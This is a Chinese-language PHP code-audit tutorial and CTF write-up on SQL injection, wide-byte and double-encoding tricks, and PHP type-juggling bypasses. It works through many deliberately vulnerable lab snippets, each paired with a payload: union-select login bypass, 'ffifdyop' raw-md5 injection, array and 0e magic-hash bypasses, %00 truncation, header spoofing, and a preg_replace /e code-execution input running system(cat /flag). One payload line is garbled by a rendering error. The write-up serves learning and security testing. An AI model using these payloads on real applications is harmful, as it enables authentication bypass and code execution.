PHP代碼審計
- 審計思路
- sql注入
-
- 注入方式
-
- 1. 普通注入
-
- 概述
- 資料庫操作
- 資料庫查詢
- 2. 寬位元組注入
-
- 概述
- addslashes()函數
- 繞過方法
- 3. 編碼注入
-
- 概述
- urlCode二次編碼分析
- 靶場分析
-
- 函數繞過
-
- extract方法變量覆寫。
- ereg正則%00繞過(科學計數法)
- ereg正則%00繞過(strpos函數)
- 字元型繞過orSQL注入繞過
-
- 繞過過濾的空白字元
- sql注入繞過
- MD5SQL注入繞過
- SQL閉合繞過
- SQL注入or繞過
- md5函數true繞過注入
- 加密繞過
-
- 檔案加密
- MD5相似繞過
- 密碼MD5比較繞過
- 18 md5()函數===使用數組繞過
- 十六進制的比較
- ereg_replace的\e參數漏洞
- 危險函數示例
-
- strcmp危險函數
- sha()危險函數
- intval取整函數繞過
- 19 ereg()函數strpos() 函數用數組傳回NULL繞過
- 弱類型整數大小比較繞過(is_numeric)
- md5函數驗證繞過
- 頭部驗證繞過
-
- session驗證繞過
- X_FORWARDED_FOR頭部繞過
- 其他
-
- php://input和substr繞過。
審計思路
web安全重點就三個詞——“輸入”,“輸出”,“資料流”。
1、逆向追蹤/回溯變量—檢查敏感函數的參數,判斷參數可控?是否有過濾?
搜尋響應的敏感關鍵字,定向挖掘,高效、高品質
2、正向追蹤/跟蹤變量—找到哪些檔案在接收外部傳入的參數,跟蹤變量的傳遞過程,觀察是否有高危函數
3、直接挖掘功能點漏洞—根據自身經驗判斷
4、通讀全文—index檔案,了解程式架構
函數集檔案,通常名為functions,common 等
配置檔案,config
安全過濾檔案,filter safe,check
sql注入
注入方式
1. 普通注入
概述
普通注入分為字元型注入和數值型注入
資料庫操作
select from
mysql_connect
mysql_query
mysql_fetch_row
資料庫查詢
update
insert
delete
2. 寬位元組注入
概述
1、單位元組字元集:所有的字元都使用一個位元組來表示,比如 ASCII 編碼(0-127)
2、多位元組字元集:在多位元組字元集中,一部分位元組用多個位元組來表示,另一部分(可能沒有)用單個位元組來表示。
3、寬位元組注入時利用mysql的一個特性,使用GBK編碼的時候,會認為兩個字元是一個漢字
addslashes()函數
1、addslashes() 函數傳回在預定義字元之前添加反斜杠的字元串。
2、預定義字元:單引号(’),雙引号("),反斜杠(\),NULL
3、 示例
<?php
$ss=addslashes('aiyou"bu"cuoo');
echo($ss);
?>
運作結果:
aiyou\"bu\"cuoo
繞過方法
我們可以在輸入的時候對于特殊符号引号,斜杠,反斜杠這些在他前面加%df使得讓他和“\”這個符号在資料庫中進行組合編譯,編譯成一個漢字,以至于繞過寬位元組。
這個代碼就是寬位元組繞過之後資料庫查詢的代碼
3. 編碼注入
概述
通過輸入轉碼函數不相容的特殊字元,可以導緻輸出的字元程式設計有害資料。最常見的編碼注入就是Mysql寬位元組以及urldecode/rawurldecode。urldecode是一個轉碼函數,rawurldecode是一個解碼函數。
urlCode二次編碼分析
還是先上源碼
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
這裡我們要了解一點課外知識了
eregi — 不區分大小寫的正規表達式比對
我們需要繞過第一個判斷,也就是id的值不等于hackerDJ,但是第二個判斷有需要id的值等于它。是以這個肯定是有漏洞的。在這一行進行了url編碼的解碼
是以我們要進行二次編碼,将hackerDJ值進行編碼,然後繞過第一個比對到第二個。
hackerDJ的url編碼:%68%61%63%6b%65%72%44%4a
hackerDJ的二次編碼為:%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61
結果
靶場分析
函數繞過
extract方法變量覆寫。
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=file_get_contents($flag);
if($shiyan==$content)
{
echo'ctf{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
可以看到漏洞點就在我标注的那兩個地方。
第一個GET值沒有說明傳遞的具體值,是以我們可以都可以傳遞這個檔案裡的所有值。
第二個content的值就是傳遞的flag檔案内容。
因為這裡判斷了content參數和shiyan這個參數相等則會擷取到flag值
是以我們隻需要構造flag參數的檔案内容和shiyan參數的值相同就可以。但是flag值已經給了。我們又可以利用extract函數将flag參數值給覆寫掉。
但是我們不知道檔案裡面的内容。是以我們可以利用file_get_contents函數的漏洞,當檔案不存在則會傳回空值。
是以我們構造payload
ereg正則%00繞過(科學計數法)
還是先分析源代碼吧
<?php
$flag = "flag";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字元串首次出現的位置
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
先分析這三個判斷吧。
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
這個判斷就是說隻能以a-z,A-Z,0-9開頭并結尾。
這個随便輸入數字字母都能繞過
然後這個判斷判斷的是長度小于8,然後數值要大于9999999
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
這題我們隻能利用科學計數法繞過
payload:12e12
這個判斷我們需要借用0x00截斷進行攻擊了。
将後面的特殊符号給截斷。
payload:1e9%00*-*
ereg正則%00繞過(strpos函數)
<?php
$flag = "flag";
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必須輸入數字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '騷年,繼續努力吧啊~';
}
?>
這段代碼也沒啥說的,他必須是數字,但是他又要包含字元串。是以第一印象應該采用%00進行截斷。
但是還是沒有繞過第二個判斷,必須包含字元串。是以嘗試将#号修改為%23。
成功
這題應該關鍵點是考的是oxoo截斷吧。
字元型繞過orSQL注入繞過
繞過過濾的空白字元
<?php
$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
ini_set("display_error", false); //為一個配置選項設定值
error_reporting(0); //關閉所有PHP錯誤報告
if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP頭顯示hint 26966dc52e85af40f59b4fe73d8c323a.txt
die("have a fun!!"); //die — 等同于 exit()
}
這段代碼的意思是傳遞需要一個number值,他會判斷如果number值不存在則在網頁的頭部添加hint請求頭之後退出。
foreach([$_GET, $_POST] as $global_var) { //foreach 文法結構提供了周遊數組的簡單方式
foreach($global_var as $key => $value) {
$value = trim($value); //trim — 去除字元串首尾處的空白字元(或者其他字元)
is_string($value) && $req[$key] = addslashes($value); // is_string — 檢測變量是否是字元串,addslashes — 使用反斜線引用字元串
}
}
這段代碼就是将傳遞過來的number值和POST傳遞過來的值進行組合,将他們組合成數組。然後周遊這個數組,去掉value值空字元和其他字元。
然後将value值添加到前面建立的清單中。
function is_palindrome_number($number) {
$number = strval($number); //strval — 擷取變量的字元串值
$i = 0;
$j = strlen($number) - 1; //strlen — 擷取字元串長度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
這段代碼雖然他寫了一個循環,但是隻運作了一次。就是判斷number這個字元串的首尾相不相同,如果相同則傳回true,否則就傳回false。
if(is_numeric($_REQUEST['number'])) //is_numeric — 檢測變量是否為數字或數字字元串
{
$info="sorry, you cann't input a number!";
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 擷取變量的整數值
{
$info = "number must be equal to it's integer!! ";
}
這段代碼就是判斷輸入的number值是否為數字。
else
{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}
else
{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else
{
$info=$flag;
}
}
}
echo $info;
定義兩個變量,一個正向取number值,一個逆向取number值。然後判斷首尾是否相同。下面在判斷輸入的number值是否為數字,如果是則将他是數字這個字元串傳遞給info。反之則将flag值傳遞給info然後輸出。
是以我們要構造number值為字元串,但是又要繞過前面的判斷他首尾相同。是以我們構造一個首尾相同并且又是字元串的數值,還要等于它本身。
payload=?number=%00%2B121
因為他判斷了進行了四次判斷。我們都要繞過。
1. is_numeric($_REQUEST['number'] ## 判斷是否為數字
2. $req['number']!=strval(intval($req['number'])) ##判斷req清單中的number的字元串是否和取出的數值轉換後的字元串相等
3. intval($req["number"]) == intval(strrev($req["number"])) ##判斷首尾是否相同
4. is_palindrome_number($req["number"] ##這個函數也是否首尾相同
第一個我們要繞過他讓他變為假。是以我們可以使用0x00進行截斷。
第二個我們可以不用繞過
第三個與第二個一樣把他轉換成為數值型比較。也不用繞過
第四個比較首尾相不相同,我們要繞過他使他不相同,我們在他數值前面或者後面添加%2B也就是“+”号,讓他繞過。
sql注入繞過
直接上源代碼
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
//檢測變量是否是數組
$StrValue=implode($StrValue);
//傳回由數組元素組合成的字元串
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
//比對成功一次後就會停止比對
print "水可載舟,亦可賽艇!";
exit();
}
}
這個函數定義的是将傳遞過去的post參數變為一個字元串
上面代碼又将post傳輸過去的字元串進行過濾将一些關鍵字等特殊符号進行過濾掉。
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
//設定活動的 MySQL 資料庫
這段代碼毫無作用,可以将他注釋掉。
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可賽艇!";
}
}else{
print "一顆賽艇!";
}
這段代碼就是當查詢到的記錄和Post表單傳遞過去的參數相同就輸出flag。反之則退出。
是以說關鍵點在輸入的使用者名和密碼這裡,。
我們可以繞過這裡進行注入,由源代碼可以看到是單引号注入。
但是因為他過濾了很多條件。
是以我們不能注入,但是我們可以構造查詢語句繞過下面的判斷。
我們可以在uname上構造:1’ group by password with roolup limit 1 offset 1
讓他的結果查詢的password的結果為空,。
完整代碼示範。
輸入1就會查詢使用者名為1的記錄
現在來補充一點小知識
limit 1 表示取一條記錄
limit 1,2 表示從第二條開始取兩個
offset 1 表示從第二條記錄開始
現在回歸正題,我們可以建構上面的代碼,讓他的password給替換成為空,這樣我們就拿到了他的flag值。
這題也可以建構**1’ group by password with limit 1,1 – **。
MD5SQL注入繞過
先上源代碼
<?php
//配置資料庫
// if($_POST[user] && $_POST[pass]) {
// $conn = mysql_connect("********, "*****", "********");
// mysql_select_db("phpformysql") or die("Could not select database");
// if ($conn->connect_error) {
// die("Connection failed: " . mysql_error($conn));
// }
//指派
$user = $_GET[user];
$pass = md5($_GET[pass]);
//sql語句
// select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' #
// ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
$sql = "select pw from php where user='$user'";
// $query = mysql_query($sql);
// if (!$query) {
// printf("Error: %s\n", mysql_error($conn));
// exit();
// }
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
//如果 str1 小于 str2 傳回 < 0; 如果 str1 大于 str2 傳回 > 0;如果兩者相等,傳回 0。
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
//}
?>
别看源代碼如此之多,其實就幾條關鍵語句
<?php
$user = $_GET[user];
$pass = md5($_GET[pass]);
$sql = "select pw from php where user='$user'";// $query = mysql_query($sql);
$row = mysql_fetch_array($query, MYSQL_ASSOC);
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
//如果 str1 小于 str2 傳回 < 0; 如果 str1 大于 str2 傳回 > 0;如果兩者相等,傳回 0。
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
?>
就這幾段代碼有用,我們先分析吧。
看道源代碼發現了一個sql單引号字元注入漏洞。
然後看到輸入的pass經過了md5加密。
我們看到這下面這一段代碼,既要讓sql中查詢到内容還要讓pass和pw也就是資料庫查詢的值相等,是以我們要構造sql注入md5值進行繞過,使得pw有值才能擷取到flag值。
是以我們可以利用md5進行加密與構造的pass值相同。
然後我們構造payload
是以這裡關鍵點是構造的sql函數,隻要函數構造對了就能成功。
SQL閉合繞過
<?php
$user = $_GET[user];
$pass = md5($_GET[pass]);
$sql = "select user from php where (user='$user') and (pw='$pass')";
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if($row['user']=="admin") {
echo "<p>Logged in! Key: *********** </p>";
}
if($row['user'] != "admin") {
echo("<p>You are not admin!</p>");
}
}
?>
這個都看了無數遍了,沒多少難的,一眼就看到了sql注入漏洞。多參數單引号右括号閉合。
因為這裡隻是對user進行了判斷是否為admin,沒有對pass這個進行判斷,是以我們可以在user哪裡進行sql注入,不用管pass字段的值直接在構造的sql注入後面進行注釋。
然後一直報錯,甚至我輸出他的user和pass值都有
最後檢視源碼才恍然大悟,是我根本沒有這個資料庫裡面的表,傻了!!!
這個表沒有肯定查詢出來的結果也沒有。是以Row值是空的,是以flag值出現不了。
SQL注入or繞過
源代碼
<?php
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){ //get_magic_quotes_gpc — 擷取目前 magic_quotes_gpc 的配置選項設定
$str=stripslashes($str); //傳回一個去除轉義反斜線後的字元串(\' 轉換為 ' 等等)。雙反斜線(\\)被轉換為單個反斜線(\)。
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
//$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
?>
上面代碼其實clear基本沒用,有用的是下面的代碼。
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
這段代碼說的是查詢有結果,則傳回flag值。
在這一題一直嘗試,結果發現我沒有那個資料庫。
md5函數true繞過注入
<?php
$link = mysql_connect('127.0.0.1:3306', 'root', 'root');
if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}
// 選擇資料庫
$db = mysql_select_db("security", $link);
if(!$db)
{
echo 'select db error';
exit();
}
// 執行sql
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>
這段代碼太長了,還是看關鍵的。
就這一段,因為你要繞過他,使他有答案,是以我們隻能看答案了。
死記硬背吧。
因為“ffifdyop”的十六位二進制數加密之後是
'or'6
剛好繞過sql注入。是以答flag就直接出來了。
這題沒有任何捷徑,隻能死記硬背
ffifdyop
。
加密繞過
檔案加密
開始打開網頁以為伺服器崩了。一直不顯示正确的網頁,後面看到源碼才發現自己還是太年輕了。
最重要的代碼在下方。
if(isset($requset['token']))
//測試變量是否已經配置。若變量已存在則傳回 true 值。其它情形傳回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:進行字元串壓縮
//unserialize: 将已序列化的字元串還原回 PHP 的值
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
//mysql_real_escape_string() 函數轉義 SQL 語句中使用的字元串中的特殊字元。
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
一進去就判斷token值,如果他存在則執行下面操作。不存在就重定向到報錯頁面。搞得我以為伺服器炸了。
在看if語句裡的關鍵内容吧。
這段代碼就是将token值進行base64編碼,編碼之後讓他進行壓縮,更氣的是壓縮之後還要序列化它。
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
這裡判斷login數組的user值為ichunqiu,也就是上面token值壓縮之後的值為ichunqiu。
是以我們要先将token值進行反序列化和解壓縮。也就是構造ichunqiu。
将反序列化的結果通過token值傳遞給php頁面。發現一直報錯。然後修改源代碼檢視user的值發現隻有一個i。
最後發現壓縮的時候将token值壓縮成了一個數組,是以我們構造數組token,也就是建立一個數組,值為ichunqiu就行。
然後以為成功的時候結果啥都不列印,搞得有點抓耳撓腮了。
後面檢視源代碼發現就隻将flag值傳遞給了info。flag值都沒有定義。
去修改源代碼,将flag值添加上去。
後面就成功了,是以說這題不止要修改代碼,還要建構代碼。
MD5相似繞過
先上源代碼
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
上面函數說明,先将字元串進行md5加密,然後讓傳遞一個參數,他不能等于這個字元串,但是要讓他們的md5值相同。
是以我們要進行繞過。
==
對比的時候會進行資料轉換,
0eXXXXXXXXXX
轉成
了,如果比較一個數字和字元串或者比較涉及到數字内容的字元串,則字元串會被轉換為數值并且比較按照數值來進行。
是以我們隻需要建構前面兩個md5值為0e開頭就行了。
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
md5('240610708'); // 0e462097431906509019562988736854
md5('QNKCDZO'); // 0e830400451993494058024219903391
結果
密碼MD5比較繞過
<?php
if($_GET[user] && $_GET[pass]) {
// mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
// mysql_select_db(SAE_MYSQL_DB);
$user = $_GET[user];
$pass = md5($_GET[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
//strcasecmp:0 - 如果兩個字元串相等
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
這一題又是資料庫,是以隻能看出大概。他判斷的是查詢的值必須有然後他與輸入的值轉換成為md5後結果相同,是以我們可以将查詢哪裡閉合掉,建構一個md5值。進行繞過
payload:?user=’ union select ‘e10adc3949ba59abbe56e057f20f883e’ – k&pass=123456
因為沒有連接配接資料庫是以他隻能報錯。
18 md5()函數===使用數組繞過
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>
這題有三個判斷。
if (isset($_GET['username']) and isset($_GET['password']))
if ($_GET['username'] == $_GET['password'])
else if (md5($_GET['username']) === md5($_GET['password']))
第一個判斷是username和password不為空
第二個判斷是username和password要繞過使他不相同
第三個判斷是他們的md5值相同。
因為md5函數的特性是如果傳遞的不是字元串則傳回NULL
是以我們可以建構數組,使他繞過。
payload:?username[]=1&password[]=2.
十六進制的比較
<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 傳回字元的 ASCII 碼值
$nine = ord('9'); //ord — 傳回字元的 ASCII 碼值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
下面代碼表示循環周遊temp的值,也就是輸入的值,将值轉化為ascii碼傳遞給digit。
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
然後比較不能輸入1,-9的數字,是以我們要繞過這裡。
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
但是下面有必須讓輸入的值與它定義的值相等。
if($number == $temp)
return $flag;
}
是以我們可以利用十六進制數進行與十進制比較,因為同一個十六進制數與十進制數比較結果相等。
我們用函數将定義的number值用十六進制輸出出來。
然後将輸出的十六進制數傳遞給password。
payload:?password=0xdeadc0de
ereg_replace的\e參數漏洞
上源碼:
<?php $id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
}
foreach ($_GET as $re => $str) {
echo complex($re, $str) . "\n";
}
function getFlag() {
@eval($_GET['cmd']);
};
這個案例實際上很簡單,就是 preg_replace 使用了
/e
模式,導緻可以代碼執行,而且該函數的第一個和第三個參數都是我們可以控制的。我們都知道, preg_replace 函數在比對到符号正則的字元串時,會将替換字元串(也就是上圖 preg_replace 函數的第二個參數)當做代碼來執行,然而這裡的第二個參數卻固定為 ‘strtolower("\1")’ 字元串,那這樣要如何執行代碼呢?
是以我們構造的payload為GET參數一個\S值為
${phpinfo()}
這個payload的意思就是執行phpinfo這個指令。\S就是所有空字元。
因為需要擷取flage值,我們需要傳遞利用getFlag函數裡面的指令執行漏洞進行注入。但是原函數又沒有執行這個函數,所有我們需要構造payload進行執行這個函數。
payload
?\S*=KaTeX parse error: Expected 'EOF', got '&' at position 12: {getFlag()}&̲cmd=system("ls …{getFlag()}&cmd=system(cat /flag");
危險函數示例
strcmp危險函數
還是分析源碼
<?php
$flag = "flag";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 傳回 < 0; 如果 str1大于 str2傳回 > 0;如果兩者相等,傳回 0。
//比較兩個字元串(區分大小寫)
die('Flag: '.$flag);
else
print 'No';
}
?>
這題沒啥分析的,看到strcmp函數就可以構造了。
還是先了解一下strcmp是個啥吧。
一般形式:strcmp(字元串1,字元串2)
說明:
當s1<s2時,傳回為負數 注意不是-1
當s1==s2時,傳回值= 0
當s1>s2時,傳回正數 注意不是1
即:兩個字元串自左向右逐個字元相比(按ASCII值大小相比較),直到出現不同的字元或遇’\0’為止。如:
“A”<“B” “a”>“A” “computer”>“compare”
特别注意:strcmp(const char *s1,const char * s2)這裡面隻能比較字元串,不能比較數字等其他形式的參數。
是以說隻要構造參數他不為字元串到時候就會報錯,他的傳回值就是0
是以我們可以建構a的參數為數組。
sha()危險函數
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first!</p>';
?>
這一題也不用分析了,因為他第一個判斷需要name和password的值
是以第一個很好繞過。
第二個繞過直接用sha函數的漏洞,他不能對數組進行一系列操作,是以我們可以利用數組。
payload:?name[]=it&password[]=1
intval取整函數繞過
完整代碼
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>
上面一堆代碼看不懂,然後看到下面判斷,和intval取整函數就知道怎麼繞過了。
起初還以為是sql注入繞過。後面發現可以直接使用intval這個取整危險函數繞過就行。
intval:這個函數時取整函數,遇上數字或正負符号才開始做轉換,再遇到非數字或字元串結束時(\0)結束轉換。
是以這裡,直接輸入一個小數,讓他繞過下面沒有取整的判斷。
上面的報錯隻是因為我沒有那個資料庫,然後連接配接失敗這些。整體來說還是正确的。
19 ereg()函數strpos() 函數用數組傳回NULL繞過
<?php
$flag = "flag";
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>
這題之前做過類似的,可以使用%00截斷。
payload :?password=lj%00–
弱類型整數大小比較繞過(is_numeric)
<?php
error_reporting(0);
$flag = "flag{test}";
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
}
?>
這個是危險函數的執行個體
is_numeric的特性:
當數字加字元串的時候會直接取數字,忽略掉字元。
是以我們隻需要構造大于1336的數加上一個字元串就OK了。
payload:?password=1337b
md5函數驗證繞過
<?php
error_reporting(0);
$flag = 'flag{test}';
$temp = $_GET['password'];
if(md5($temp)==0){
echo $flag;
}
?>
這題直接利用md5函數的危險性,傳遞一個空數組就過去了。
頭部驗證繞過
session驗證繞過
<?php
$flag = "flag";
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
這段代碼其實就一句關鍵代碼
隻需要繞過這個password就行,因為password在未登入的情況下他的session值為空,我們隻要上傳password的值為空就可以繞過。
payload:?password=
X_FORWARDED_FOR頭部繞過
還是先看源代碼吧
<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
}
$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "錯誤!你的IP不在通路清單之内!";
echo $GetIPs;
}
?>
這段代碼很簡單,就是要修改自己的ip,讓他繞過,是以我們可以一個個地試。
先嘗試用burp進行抓包。将抓到的包發送到repeater子產品。
然後利用裡面的判斷進行嘗試,嘗試修改自己的ip位址為1.1.1.1
ps:這裡有坑,這應該是橫線,而不是下劃線。
先來個總結吧,修改ip位址的頭部參數
Client-ip: 用戶端ip
x-forward-for:XFF頭 HTTP請求端真實的IP
remote-addr:
前兩個可以進行僞造,最後一個雖然可以僞造但是實作有點困難。
其他
php://input和substr繞過。
這題太難了。上源代碼。
<?php
if(!$_GET['id']) {
header('Location:
index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')){
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) {
echo "flag is me";
} else {
echo $data;
print "work harder!harder!harder!";
}
?>
``
先分析吧。首先我們要先繞過下面的判斷
```php
if(!$_GET['id']) {
header('Location:
index.php?id=1');
exit();
}
這個判斷号繞過,在數字後面加一個字母
payload:?id=1a
最難的是下面的判斷。
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) {
echo "flag is me";
}
這段賊難,還是先補充一下其他的知識吧。
eregi(pattern,string) 這個是正則比對的函數,第一個參數是正則比對的參數,第二個參數是在那裡面比對。
例如:eregi("111","1114")在1114裡面比對111
substr(str,str.list,length):截取字元串的函數,第一個參數是需要截取的字元串,第二個參數是從第幾個下标開始截,第三個參數是截幾個。
例如:substr("flag is me",0,4):從第一個開始截取4個字元。就是flag
函數明白了在去嘗試吧。試了很多次,就不依依截下來了,就發成功答案吧。
payload:?id=0a&a=1.txt&b=%0011111
那三個判斷成功之後結果他還是判斷失敗,在來找一下錯誤發現data裡面的内容是空的。這下又沒有辦法了。又繼續嘗試。
下面又得補充知識了
php://input 是個可以通路請求的原始資料的隻讀流。
POST 請求的情況下,最好使用 php://input 來代替 $HTTP_RAW_POST_DATA,因為它不依賴于特定的 php.ini 指令。
而且,這樣的情況下 $HTTP_RAW_POST_DATA 預設沒有填充, 比激活 always_populate_raw_post_data 潛在需要更少的記憶體。
enctype="multipart/form-data" 的時候 php://input 是無效的。
是以我們将a的參數修改,利用bp進行抓包,将上傳方法改為post,添加要上傳的參數。
payload:?id=0a&a=php://input&b=%0011111